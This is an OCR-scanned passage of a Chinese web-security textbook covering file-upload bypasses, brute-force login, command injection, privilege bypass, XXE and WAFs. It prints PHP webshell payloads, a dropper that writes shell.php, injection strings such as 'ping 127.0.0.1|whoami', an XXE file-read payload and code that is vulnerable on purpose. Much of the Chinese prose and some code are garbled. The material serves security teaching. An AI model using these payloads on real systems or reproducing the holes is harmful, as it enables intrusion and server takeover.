User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:$53.0) Gecko/20100101 Pirefox/53.0
Accept: text/htal,application/xhtal+xml, application/xnl;g=0.9,*/*;q=0.8

Accept-Language: th-CN,zh;q=0.8,en-US;q=0.5,en;9=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data: DOUNGAL Y™ -« e 1844118209161074515961503323
Content-Length: 352

Referer: httpi//www.ccotf.cn/upload/is.htal

Cookie: id=1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

----------------------------- 1844118209161074515961 5999 =L AE.php
Content-Disposition: form-data; name="file": filen

Content-Type: image/jpeg

<?php

phpinfo();

>

----------------------------- 18441182091610745159615033201
Content-Disposition: form-data; name="submit”

............................. 18441182091610745159615033231 -~

E4-106 1S5
4.8.4 JSENISES RS

EPim HESANHTMURESI FR, EsE4as, SiEmRISH
selectFilefRil, REAWEBESRIUGBHIENNG, RSB substREDULEZ 5
BT RSEENRE (BERS) . IREEAE "jpg”  NWSSHERR "BiEF
JpotE e E1E .
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<html>

<head>

<title>ls B fFidic/title>

</head>

<body>

<script type="text/javascript"”>

function selectFile(fnUpload) {
var filename = fnUpload.value;

var mime = filename.tolLowerCase().substr(filename.lastIndexOf("."

if(mime!=".3pg")

{
alert("iiX#F jpg HaURHE A L4E");
fnUpload.outerHTML=FfnUpload.outerHTML;

}
</script>
<form action="upload2.php" method="post" enctype="multipart/form-data“>
<label for="file">Filename:</label>
<input type="file" name="file" id="file" onchange="selectFile(this)" />
<br />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>

RS tmANE EAESUAHIASAN T AR, MR EEXRLE, Bl

o file_exists¥ififtupload B R FXAEREFE, MFERiEET

) H

move uploaded file}&3X {477 S uploadBR. IPHPRISHISE X LSRR M

Hlir, FTLAREESST AR SHIRIEFT I LA FfEWebShell,

<?php
if ($_FILES["file"]["error"] > @)
{
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echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"™]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
“upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
2>
4.8.5 M4 aBEadIE

BRI NG RRSIHEPRS T EEERIE AR LR, BEF
Apache EARVHRITEMSUA RSN, Fld{Ehttpd.confF, MNRESEM MRS,
NgEREEETphpAlphtmI34.

AddType application/x-httpd-php.php.phtml

FrA, SILAEE—EZ hphtmifWebShell, 21EI4-107F7=.

@ 127.001
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E4-107 ApachefiTphtmIzZis
TEApachelVERIRIRFER, ENARIAFHARTIUARERN, RSN
BEARNAG, RBEEA AN, BEBRRILMEISUG SR AIE, FrLENER HEN
SUHZ U phpoaoox, RARZ oo IR, FrABARTESphp, E
4-108ff7=.

127.00.1 vE c o T

T DASKTOP FOMVIR] 6.2 buskd 8200
62011 17808
Congurs.

[smcripn motegs configuen s apubest bl " sl

e napabot ety - o g wlicanap % St e deemplate” * it
P s - php sianap § Do P\ phe bukd” ° - with o ori+ Dk
R rtant e |0k whared”

it et 10U shate” * et 4 "

El4-108 ApachefBATIAR

4.8.6 X4 RBEET ST
RS IRANME EEAHRIB TR, BT &#pathinfo () SREDAEE,
BEBEmN\EE, HINEARE "php’ , MR HEHNEEEphp, WA E
&, FrLUAReT U@ R FHApach e IRFF e i phtm I EEEHSU4EEIZ TR
.
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<?php

if ($_FILES["file"]["error"] > @)
{
echo "Return Code: " . $_FILES["file"]["error®"] . “<br />";
}

else
{
$info=pathinfo($_FILES["file"]["name"]);
$ext=$info[ 'extension'];/ /M3 LI R4
if (strtolower($ext) == "php") {

exit("ARFNIGHA");

}
echo “Upload: " . $_FILES["file"]["name"] . “<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";

echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))

{

echo $_FILES["file"]["name"] . " already exists. ";

}

else

{

move_uploaded_file($_FILES["file"]["tmp_name"],

"upload/" . $_FILES["file"]["name"]);

echo “"Stored in: " . "upload/" . $_FILES["file"]["name"];

}
}

4.8.7 MHRBIGH S
EERR EESUER, @idBurp SuitelTEEHRE, 4 EE— phpi&AIX
{48, BILUERIERE P Content Typef{E R application/octet-stream, _tf&jpg
ERRUGE, #HiEEFContent-Typel{ERimage/jpeg, IE4-109F1E4-110fT

7TNo
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----------------------------- 41184676334
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST[a]); >
----------------------------- 41184676334
Content-Disposition: form-data; name="submit"”

submit
----------------------------- 41184676334--

B4-109 _HfEphpzit

----------------------------- 24464570528145
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

<2php @eval($_POST[a]); 2>
----------------------------- 24464570528145
Content-Disposition: form-data; name="submit"

----------------------------- 24464570528145 - -
E4-110 _EZjpgsatd
WNERSHABEIED Content-TypeAHEFIKUARIZER!, IBATFER
SIMnIEE, EAContent-TypefESBUEFIHZIEN, EnJLMESEXRM. AL
A P php34hd, EBurp Suitedi&Content-TypefEBlAimage/jpeg, #hallA
ST IRSIRAIET, WME4-111F75.
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POST /upload4.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (\Windows NT 10.0; 'WO'W64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html application/xhtml+xml application/xml;q=0.9,*/*,q=0.8
Accept-Language: zh-CN, zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/upload2 htmi

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=-----=-seeeeemmmcmmacnnanan 19990253701301
Content-Length: 878014

srmmmsmmnssne s e nnneneenee=19990253701301
Content-Disposition: form-data; name = "file"; filename="1.php"
[ontent-Type: image/jpeg |

<lphp @eval($_POST[a]); 7>
SR ————— L PR ]

Content-Disposition: form-data; name="submit”

submit
smmmmmmmmmmemmeeeeeeeee----18§890253701301--

E4-111 {28 Content-TypehE F &0
4.8.8 M{HERBISES S
RS IRANE EA RIS TR, ARSSTRICEIBTS_FILES [“file"]
["type'] EAREERAETL (image/gif, image/jpeg, image/pjpeg) , MEAR
N B2, WA HEZOWE, T$_FILES [file'] ["type’] EEFHHEIEIEETN
Content-Type, FrLARILABIT{E2IContent-TypeYESITIZIZIRS.

mﬁﬁwmmMW"m%»mvoag
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<?php

if ($_FILES["file"]["error"] > @)

{

echo "Return Code: " . $_FILES["file"]["error"] . "<br />";

}

else

{

if (($_FILES["file"]["type"] != “image/gif") && ($_FILES["file"]["type"] !=
“image/jpeg")
&& ($_FILES["file"]["type"] != "image/pipeg”)){

exit($_FILES["file"]["type"]);
exit(" A" ;

}

echo
echo
echo
echo

“Upload: " . $_FILES["file"]["name"] . "<br />";

"Type: " . $_FILES["file"]["type"] . "<br />";
"Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
“"Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

if (file_exists("upload/" . $_FILES["file"]["name"]))

{

echo $_FILES["file"]["name"] . " already exists. “;

}

else

{

move_uploaded_file($_FILES["file"]["tmp_name"],
“upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];

}
}

>

FEPHPHRIFE— MBS L&, PHPEEgetimagesize () BJLA
REERNE, 55 E8, MR EENAEERXH, #BAgetimagesize () BIREL

RS,

WAFF EE, 8380 FEs.
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<?php
if ($_FILES["file"]["error"] > @)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
if(!getimagesize($_FILES[“Ffile"][ “tmp_name"])){
exit (" ARV LH");
}
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $ FILES["file"]["name"] . " already exists. ";

3

}

else

{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}

?>

BE, FIILME— M EBRFI—1WebShell&HA— 4, FlanEALLT

oA
Op~¢ <

cat image.png webshell.php > image.php
kA, fEfgetimagesize () FAILURENER{EE, BWebShellIEEE
php, tBAEMApacheIT MIIAH, BILXFTMETILSE getimagesize () K
BRI,
4.8.9 M{HEHTEII IS
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EMrERY: PHP %00k
B : BHTO0OREERR, AASIE00SENETE TR,
WS4 PHPhRAVINTF5.3.4, PHPfUmagic quotes gpcIOFFIRTE.
WNEA-112f7R, FEEEU4RS, RSIHEGET24jieduanfIAREIEN LE
EXHENE—BS, ARRHREEAERINE R (A R XEENE %S

h
\A'N “« c @ D 127.00.1/1. phpjieduan{111]

: HERE

g B upload{1115220180308032507 jpg

'

B BE4-112 HEEE

B feX2Hjieduaniyl php%00,jpg, HHIFFRIRSEE, %002
# B "jpg" FHEENEARNERNE-ZEERERT, BBANEZHE N .php, ELADD
g HET WebShellfiA, f1E4-1135r.

5.8

; R © Program D ..ﬂ.xJ..Q..A-.....L-.. J e

5 s ot - ;A=

5 (@20

3]

oNoN

TARD L I pbead 2 phplNII01 100N 700K 5y

E4-113 FIEEN_LEWebShell
4.8.10 MBI REBOHT
RS RAMNE HESHERIRAB T, R EBsubstRECUENER, A5
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AT BEEE v, swf, mp3, mp4, 3gp. zip. rar. gif. jpg. png. bmpHJ
—i, MEAE, WA B2, EEEFEFNERZSES REQUEST
[jieduan'] , BBAMANETLARIFEO0EMT =R St ARSS IHIRS!.

<?php
error_reporting(e);
$ext_arr =
array('flv', " swf", 'mp3’, "'mp4', 3gp’, zip*, 'rar', 'gif", 'jpg', 'png', "bmp');
$file_ext =
substr($_FILES['file']['name’],strrpos($_FILES['file"]['name’],".")+1);
if(in_array($file_ext,$ext_arr))
{
$tempFile = $_FILES['file']['tmp_name'];
/) IX4)iEI$_REQUEST *Jieduan Jid s ry LRI Ak I- 1
$targetPath = "upload/".$_REQUEST['jieduan’].rand(18,
99).date("YmdHis")."." .$file_ext;
if(move_uploaded_file($tempFile,$targetPath))
{
echo * LAERkIL" . '<br>';
echo 'fi#f#: '.$targetPath;
}

else

{

echo(" Li&3M");

}
}
else
{
echo(" A fEVFIIGE");
?5

EZHERT, S EHEREEESEENMN EHEXFZ A% 00Kk, 51
Wlfilename="1.php%00.jpg’, BE2HET Ephps, $_FILES [file'] [name] &
B4R, %007 EHIASCEHERT Y, FrlA$ FILES [‘file']l ['name’] EFH
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[E82php, MAEphp%00jpg, EMIAAEEELIf (in_array
($file_ext, $ext arr) ) FUEE, WE4-11450E14-115F 7.

s TV ITRA

User Agent Mesia/s 0 [ Vindows NT 100, 'WOWSE; reS8.0) Gechi/20100107 Frwtes/SE0
Actupt test/htird appbe ston/ sivimd + s appie sbon/smtge0 % */~ e0 §

Accept-Languege: Bh-ON g s 0 Sab TV e 0 7 MR qed S en-US e 0 arge 02
Accept-Encosing grip defne

Referer: M/ 1T7 201/ bl

Contant-Type: multpary/form - gats baundary - -
Content-Langeh: 112

Connaction: cose

Usgrace-insecure-Raguests 1

ees LASOATO1SY

14A0L TS5
P o O 1oz |
Content-Type iImage/eg
|
«Tpho Geveis POSTI: 1>
Content-Oispasition: form-data: name - *

st
T4ROLTRO2TSY

HTTP/1.1 200 OK

Date: Thug OF Mar 2018 015209 GMT

Sorver: Apacha/2 429 (N1 2) OpenSSL/1 0.2) mod Tegu/2 39
X Powersd By PHP/1 D12

Comecton cleve

Content-Type: w/name chanat=UTE.8

Content-Lengt: 18

Tranes

E4-114 E80UF2

i
J
I

L]
-

N 0O VIMm
Contert Type

re

2
STuRRYISY

RRFTERSRY

xxasPyeRERIY

32
tERprexrxrurusrnccey

SRNREBRYXAVISTEREZIACE

NARPURBUY=FEAEIEEIAR
LENRTEREREAPIERRORSN
TRRASILRRNIRRERRSERY
FERRONMREECRBURRENSTE
A¥V8TJuyxISsSBuoREIILY
ATSYSRREYPOUSRRTSSY
RITBEIRRBITRT RO NN
yagrssew

INLVIRUIITICRRRISIY
g2proOZIREPRIREYERINCGS
EPRRYEEAYRIRRYYRKER Y
2L RETEPORERRRYY

[¥YTEESBREIIFQLER
fasxsey

=
X2y

WITP/19 200 OK
Date: The, OF Mar 2018 055208 GMT

Server: Apache/24.29 (N8 2) OpenSSLA 0.2 wod fogd/23 %
X Povwered By PHP/7 012

Cortent Lorgth 18

E4-115 HEXZZURI%00

4.8.11 RHEFHKE

—Lepuk HESAHIBIER SRV HEERSUE, RalhE HERHESE
EWebShell A, MRESENBEMZUE. XBEEFENRRES EEMTHEFMR
XzaEE—elEEE (EAERFREEFMBRSUHRIRE) | WEEH
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BihEE S HE—1\WebShellfA10.php, 10.phplIREEER— 1N
WebShellfiiZshell.php, 10.phpAHtEEAT FF=.

<?php

fputs (fopen ('../shell.php’, 'w') , '<?php @eval ($ POST [a] ) ?
>

?>

%10.php LERINE, EFiHVENGR10.php, MEERSHSAIER NS
si4plishell.php, XETIEERUH ARG EZS T WebShellfY_EZ, @1E4-116FT
T

E4-116 FIEEZEE EfEWebShell
4.8.12 S EHCIEOT

TEFIREDES_FILES [“file’] ["name”] BIREZUN 7R, 55#rupload
BR FEAFEERNSUY, MSAFE, WEE HEUS:, EANUEESH
WebsShellat, AEMFRWebShellts, EBEFEENESRNITHY, AIEIAREMR L
HIFtAENZWebShell, BFASEIE—1#lIWebShell, Mgtz LaERH.

<?php
if ($_FILES["file"]["error”] > @)
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{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1824) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/” . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name™] . " already exists. “;
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
“"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
SINTRE, XERA sleep() s ¥il FFFKHR 105
sleep("10");
/M LA PR T WebShell, SRR, WIEHER
unlink("upload/" . $_FILES["file"]["name"]);
}
}

-
v

4.8.13 & HEESEN
X EEEE, EBAHUTXAREN.
o BUAZBENHTANMERRESTSE.
o X HERRIUH{TERA, Hldlirand (10, 99) .date
("YmdHis") ."jpg".
4.9 ENE
4.9.1 NEERNHEERRE
EHERNT4ERT RS HEIRREHIRS, SEEETLIBEYENNFR
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WREATREE, WEFE. BB, RiHSE. BIERSE M RANTH, 463
FRWIERS, BBARIBREASEERE0000 ~9999, EIHMBHKBETFENX
/N,
4.9.2 EHRRENE
BRI b A http://127.0.0.1/bp.html.
—RIERT, ZAPHEESEKS: admin, NEEIIHERERadminfd
ZiE, BRAPEMEMAKSadmin, EERBERAN—Z3, £HBuwp Suitell

> £, fEInfraderdhihRBANER:, SABISFIIFHARE, ME4-117Fr. alld

BH, 51 EIEENLengthEREMIIERA—HE, XM EUBRE+HIPayloadsi 218
BERRTHAVERES, W1EI4-118Ff7s.

Artack type "“1',',

FOLT Jbp.php WTTR/ 1.1
oets 127.0.0.1

' Mezilla/$.0 (Wecintosh; Intel Mac OF X 10.13; rviS3.0) Gecke/20100101 Firetox/$3.0
nl,applicetion/xhtulemnl, application/mel qeo.9,*/*1qe0.0
9,0n-05;9%0.5,0n;q%0.3

0.0.3/0p . hamd
LINSGITANEAThugh 2 LaPoypOBiCad; yore_token=OaSfesaibolled T4d2etsd TE0000%a17) user_name=aduin)
4992690244a0b60 ¢ Jade?

El4-117 Burpintrudert®it
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Request Payload Status | Error | Timeout | Length ¥ Comment
740 | admin | 200 U U 190
0 200 (5] o 189
1 password 200 (2] a 189
2 123456 200 =] o 189
3 12345678 200 a a 189
4 1234 200 [E] o 189
5 qwerty 200 a a 189
6 12345 200 o o 189
7 dragon 200 (=] =] 189
B8 pussy 200 o (9] 189
9 baseball 200 a a 189
10 football 200 o O 189
11 letmein 200 a a 189
12 monkey 200 &) o 189
12 AOROAG 200 =1 =1 180

[ Raw | Headers | Hex |

TTP/1.1 200 OF

Date: Thu, 30 Wov 2017 16:37:32 GMT
Server: Apache

K-Povered-By: PBP/5.6.30
Content-Length: 13

Connection: close

Content-Type: text/html; charset=0TF-8

login success

E4-118 2ERERIES
4.9.3 BIBFRRAESHT
BSHMBEAFERIMBI TR, BFAEIPOSTS2usernamef124§
password, REEHIEETEHENNEBERINEBRESFE, NEFE, NERK
5 I, EREXERENERIVAEMIRS, FIAREEP—E=RER, RMalLUTED
AR

Eﬁﬁ%ﬂﬁﬁ%"ﬁ%»mvosg
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<?php
$con=mysqli_connect("localhost","root","123456", "test");
/7 Eri

if (mysqli_connect_errno())

{

echo "#EH KW : " . mysqli_connect_error();
}
$username = $_POST['username'];

$password = $_POST['password’];
$result = mysqli_query(%$con,“select * from users where

‘username’ ='".addslashes($username)."" and ‘password ='".md5($password)."'");

$row = mysqli_fetch_array($result);
if ($row) {

exit("login success");
}else{

exit("login failed");

7>

4.9.4 ENEERRIESEN
HNENERFERENEE, EELHUTREER.
o MNEFAFEFXHBNIEENRE, NHHEKS.
o IRENPERREBSIRENEE, WHEIP.

HEIPFEN—MNIERE: MRS THAPERINER—MNP, NEaE A

PEAEEER.
4.10 ST
4.10.1 MBS HATRE

N RN R EEA ST RERSHIRE, WEPHPH, M
system, exec. shell exec. passthru. popen. proc popenEHHE oI LINITERSE
. BEESHIXEREATNSHE, S ETENRSHSHENIEESS

., WMiEREGSHITIREG, X SHhiTiRiE.
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4.10.2 apSHhiTIRREE
TR ENE . http://127.0.0.1/1.php?ip=127.0.0.1.
HE.phpiRift 7 pingHIThEE, ZEE24IPHIN127.0.0.18f, IEFSHhiT
ping 127.0.0.1, ASKpinglVERIREZRE L, ME4-119F .

iETE Ping 127.0.01 M 32 988
W 127.0.0.0 WESE - 32 W< T TTLs 64
®E 12700 HEW: ¥ =32 0« Ims TTL=64

E94-119 $1iTping 127.0.0.1
MANEEL2EIPIRER127.0.0.1|dir, AEEXIAR, NRELEEIUES,
EFEEEERENREETA LY, XEFANATEET | EEREMT TS
dir, 1E4-120f7~.

EEE D SHEE Program
SEENEE 24A8-F54D

 DAphpStudy\PHPTutorlalWWW SR

2018/03/08 11:08 <Dif»
2018/03/08 11:08 <Dif»
2018/03/08 11:28 335 1 html

2018/03/08 1517 53 1.php
2018/03/08 0852 23 2.php

B14-120 $147ping 127.0.0.1 |dir

TEER FERNEES.
Windows =SS E B .



o " : BEENTIREANES. HIE0: ping 127.0.0.1|whoami.

o |I" : MEMEHCENEGNTLIE, WhiEEIEE, AIEIMEaR
BERE. AIE0: ping 2||whoami.

o & : MEAIEANEG ABRNEENTEEINES, AEANEG RIS
B, flE0: ping 127.0.0.1&whoami,

o "&&" : WMFAEANEGIARNEELE, BANTEEINES, A
BAHREEAE. FIUl: ping 127.0.0.1&&whoami,

-

YN LinuESSTS S .

E N PUTERIEAEABTIEER. BIl: ping 127.0.0.1;whoami,
% " BNaEEARHATESR. FIdl: ping 127.0.0.1\whoami.

% I - SEEEEAHTHER, HEEIGER. FIdl: ping 1]

g; Whoami.

: "&" : WIRAEANEA ARNEENTEEINER, AIEAhEEIE(E.
§ filgn: ping 127.0.0.1&whoami.

F "&&"  NEATENEGABRUEELE, tATeEN, AIEINEaR
E BENE. fflE0: ping 127.0.0.1&&whoami,

i 4.10.3 s SHITIRRRES AT

- IRSSAMEpingRIAASHT N, TERFXEIGETR%IP, SSHHESIsystem
~gn () BRER, AAsystem () BREHTpinglIThEE, BRIANSEXI2E PHEIT EAD

—

o, SEELAAEEFVTEMNRSSS, B FATs.

<?php
echo system("ping -n 2 " . $_GET['ip']);
?>

4.10.4 @ SHTRIRMESEIN

S HTREIES, EEEHUATRIIAEEN.
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o FREAEFEFSHITHREL

o ER iRtz EH AN TS REEIEMEFT s,

o [EEEFTNIRSREZ AT, THREBNREERENREE—.

e XIPHPIE=RiR, ARt HINGIR RIS AEER.

411 ZEREIZTE
4.11.1 NBZIETRE

BiEREEENEEN B SHNRITE, RNEREEEEIASH=E
M. —ARHIIEERS N, EOhR. ZEKE. s UEmEheeat. HEasiiin
(a2 BACEHA I EE WA R, 2 M.

o KA : 1BRESHI (BUR) HWBFHEE—HAe+HAENEFZE, aLL
HALRE., EREERRREMAEEERNEENRE. MEHIULIER, nlgesiEm At
SEHENHE, FENEZESEREF EEHEEENR.

o EEHN: MEFERZENAFENEREZERFIER, thinsE
PR LT EIRR A B TIITEE.

BERERI RSN A SRR IR NSRS F R R SRES
AUFEIR.

BENKEESS IR ARERRANZELI, L rRRtES
FrRETRMEHNRIR, AR IExERE, BErPmESERINERITE

B VSERIHTTP/HT TPSIEREML.

BHAZERRELL T,

o STAHTE: ST, afISSIMERNTELE; &SNS
HithZ#BF AR, SEESSER.

o Bllifn: ETEARRA B ASEHERMBAKS.

e EEXD: MEEXNN, FAZTMZERR, U HsessionBEEE
2R, BERIFERTERONEIEE+E.

o REEM: RERUHENTEMEEZES, HNREN B HER
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i\, A ENSSHMEWET, FINEFANREN107T, EaEBItEA6TT, &
BECHINER5TT, MEBFASSIMLEEBIEAC, RS EENEM. B2
FREPANBERSESS, ERZEERNAXWIRAREBIBRECANEK, aJaE=HILL
TXJUREER.
O B—4maMEEN.
O BmEWIRIL, (BERINT65T.
O FImERIISERRTH, BERENER 7 -17T.
4.11.2 @ROh [P
RGBTSR . http://172.16.200.12/yuequan/test2/admin/
viewpassword.php?id=1.
viewpassword.phpTUESLIININEER, BAFERESRE, sJLUBTZR@E
HEEOCHZE, ZURLTHEE—ME83d=1, LF(1BSdScn2zE, WeaESR
id2MERINEE, ERMEA-121F1E4-122F 7.

& O 71820012y e : . . vE ¢ & LD a8 §
& BE2RFatE-. O #E-2amew. 2 [L Y Dan-ans e

Your Login name admin IR Deve Owds () wtews @ ue O AW
Your Password £

""" atnl> @

E4-121 iAEId=1689BFFHEE
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& N 1721620012 .m,au.v:;mm.«-;,m.—m; OB ¢ § A amox o
w EERFmte - ) HA-2ANON. A4 BAKXRS (6. A4 sscvsmne. B AR s C BERSSOMG. 0SCP Cent
Your Logn name:sunsky GESELLE Fioss DARE () #tew8 G 5& O
Your Password: +

e

<htal> D

» <body>

Your Login name:sunsky

<br>»

<hr>

Your Password:

<input name="password m
</body> |

</himl>

ype="password">

E4-122 ihiEid=2/9BFPHER
4.11.3 BiERR: SEOHELELHT
RSHMERAESCASENARBNT, ERHHNERN M.

<html>

<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
ctitle> P AfiiB</title>

</head>

<body>

<?php

$con=mysqli_connect("localhost”,"root","123456","test");

if (mysqli_connect_errno())

echo "i4:%W: " . mysqli_connect_error();
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}
if (isset($_GET['username'])) {
$result = mysqli_query($con,"select * from users where
‘username’ ='".addslashes($_GET['username']).""'");
$row = mysqli_fetch_array($result,MYSQLI_ASSOC);
exit(
"Ml F':<input type="text" name="username” value="".$row['username'].'" >
<br />'.
"#® 1W:<input type="password" value="'.$row['password’'].'" > <br />".
"HE  #i:<input type="text" value=""'.$row['email']."'" > <br />'.
"# hE:c<input type="text" value="'.$row['address'].'" > <br />'
)i
telse
$username = $_POST['username’];
$password = $_POST[ 'password’];
$result = mysqli_query($con,"select * from users where

“username” ='",addslashes($username)."' and “password” = '".md5($password).”'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("{FatE1" . "<a href="login.php?username=".%username.”’ > A{i&
</ax");
Yelse{
exit("FRKEH");
}
}
7>
</body>
</html>

o TfelseiEAFIRENPOSTHI S usernamef1&4 password, ASEREIEE
FEE, MRIER, WS, AEBkESlogin.php?username=$usernamefh
(ifizfq) .

o BT EZERMINGHCES, KEGETHZ S username, AEEEHERE
FEF2#usernamelFIEIER, FHREZIRE L.

{BRIINSEERIE, MEEEDAlogin.php?username=admin, B4
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BEENTAEGTIIRE, MmEhiTelseBaTIHLE, LI EEES Rl
PEEadminfiE8, Bidxip, FelESannEME Es.
4.11.4 EfOneeEEy
HBAOARRRTENEERRERE N EPNS A RIS, BhrxiiE
TS, eIl sessionskizHl. FRIERFERWE, HusernamesiuidEN\E|
sessionth, HAPEENAEER, MsessionhElHusername, MAEMGETHE

POSTE{username, HFAATEIRIfusernamefi 22 BHENH.
4.12 XXEfFE
4.12.1 NEXXERR

XMLINSBSLASEN (XML External Entity) fSFRXXERTE, XMLEBTHRCE
?W#ﬁﬁﬁﬁ%ﬁﬁﬂﬁﬁﬁa‘ﬁm, BILAFSRIRCENE. ENEMEEE, E—fsith
Y ECHfRCESHTENIFRES. XMUREIEIEXMLERE, DTDXREERY
EX (Rlig) . TR,

BIRIXMLE RSN E4-123/7r.
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<?xml version="1.8"?> yML ;!

<IDOCTYPE note [

<|ELEMENT note (to,from,heading,body)>
<|ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<|ELEMENT body (#PCDATA)>

1>

<note>

R RE X (DTD

<to>Tove</to>
<from>Jani</from>

<heading>Reminder</heading> =
<body>Don't forget me this weekend</body>
</note>
E4-123 XMUBEEE

Hrh, NR4LBIFEY (DTD) SJLARAEBABERaILAS IF/NBDTD, A1 RFr
7TNo

o EBABEDTDIET: <! DOCTYPE {RTtE [JTEAH] >.

e 5|FE/NEBDTDH&: <! DOCTYPE fRIGE SYSTEM " S4E" >,

FEDTDHFBHTSLIAERERT, ISEMENTITY X EF R0, SUREFRTENS|
AERXA SR RNREN RS, ARSI ENERSINDH T8

o WEBFEBASTIAIRN: <! ENTITY SHARHR "SLIARIE">.

o 5| FEINSBSLAHET: <! ENTITY SH{KEZFR SYSTEM"URI" >,
4.12.2 XXEfmR

XXE jRBEAhitbhl . http://127.0.0.1/1.php.
HTTPIEKAUPOSTEEMN N =~.
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<?xml version="1.8"?>
<IDOCTYPE a [
<!ENTITY b SYSTEM "file///c:/windows/win.ini" >
1>
<xml>
<xxe>&b;</xxe>
</xml>

EPOST?%QEP XEEEAA “file///C: /windows/win.ini” , ZEGHHE

A BEEIfileMMOSEIAII4EC: /windows/win.ini, IE4-124F7=.

gmmﬁmmmmm"ﬁﬁwmro-

POST /1.php HTTP/1.1 & HTTP/11 200 OK
Hort: 127.0.0.1 P Date: Thu, 08 Mar 2018 125
G 20100101 Firefou/S8.0 Server: Apache/242) (NINY2

2 GMT
enSSL/1 0.2f mod _fogid/23.9

User-Agent: Mozia/5.0 (Windows NT 10.0; WOWE4; rvS!

Accept: test/nimlappiication/shtmi « smispplication/smig =0 8 +/*g=08 X-Powsred-By: PHP/5445
| Accept-Langusge: 2h-CN2hyq= 0.8 2h-T\Wigs 07 2h-HKxq = 0.5 en-US q=0.3 eng=02 Connection: close
Accept-Encoding: gzp, deflate Content-Type: text/humi
Connection: close Content-Length: 87
| Upgrade-insecure-Raquests: 1
Content-Type: application/s-www-form-uriencoded i for 16-bit app support
Content-Langth: 128 [fonts)
[extengons]
ami version="10"7> [mci extonsions)
<IDOCTYPE | Ifies)
<IENTITY b SYSTEM *filey///c/vindowi/wining > Mail)
P MAPY=1
<ami>
<> b < fom>
</umi>

E4-124 iSECTH
4.12.3 XXEfmf a4
RS IHAMEXMLAMCEEAN T, ABRISCILT R N is.

<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile);
$xml = simplexml_import_dom($dom);
$xxe = $xml->xxe;
$str = “$xxe \n";
echo $str;
2>

o {Effile_get contentsIRENEFIHMANIAE.
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e {FfAnew DOMDocument () ¥IEAKXMLARITES.
o {EfloadXML ($xmlfile) MEFEFIHEIARIXMLAE.
o fEfsimplexml_import dom ($dom) FRENXMLIZRYTS 1, “NERARTAMY
IREISimpleXMLElementXJ5:, SNERAMNIREIFALSE.
o FRENSimpleXMLElementXIS AT mXXE, AEHHXXERNRNE.
a]LAER, iR BREIXMLS I AINEER, FrASHEAItIZE— a5t
BRSCURHIXMLES, SMNERSCRRINE S hT.
4.12.4 XXERRIESEN
HRIXXERREINES, E&LHATRREN.
o Z5 | HEFEAMNERSLIR, Fla0libxml disable entity loader (true) .
o IEAFIRIIXMLUEGE, FHIEHIEEERR.
4.13 WAFEpLLE
4.13.1 /M 4BWAF

TEE/NBWAF (Web Application Firewall, Web A5 ) MS5HE
HEAUATNR, IXEEA BERR EAIAR—FRhifiL: WebM AP M ERBTHIT—F I
XTHTTP/HTTPSHIZ2 £ 568k E 1 1A Web N FEIRI R IN—20 =52

WAFER FrJAS AT,
1EEIWAF
DU E AR P AR SS 88 EOWAF, BT 2RSS E, miaIL
ERiRSS s LR, BiERRSE: FEEFEWebShell, EEE 4R

=
2 TR{HEIWAF

DI BREEERE T, SOSSMEEL T, SRR e o] LU=E0%
e, AEEEIESE RICREEAHTER.
3. =WAF
—RLAR BB T, BUEENSICRHMCNAMESR, EXIRLANE



SAHRSULFEEITWAFERL, SdWAFENITIRR, EANTERNE IR EAIEAT
frkub RS Rt TiE R, AJLURESEHPIIEERICDN.,
4 LR ERIWAF
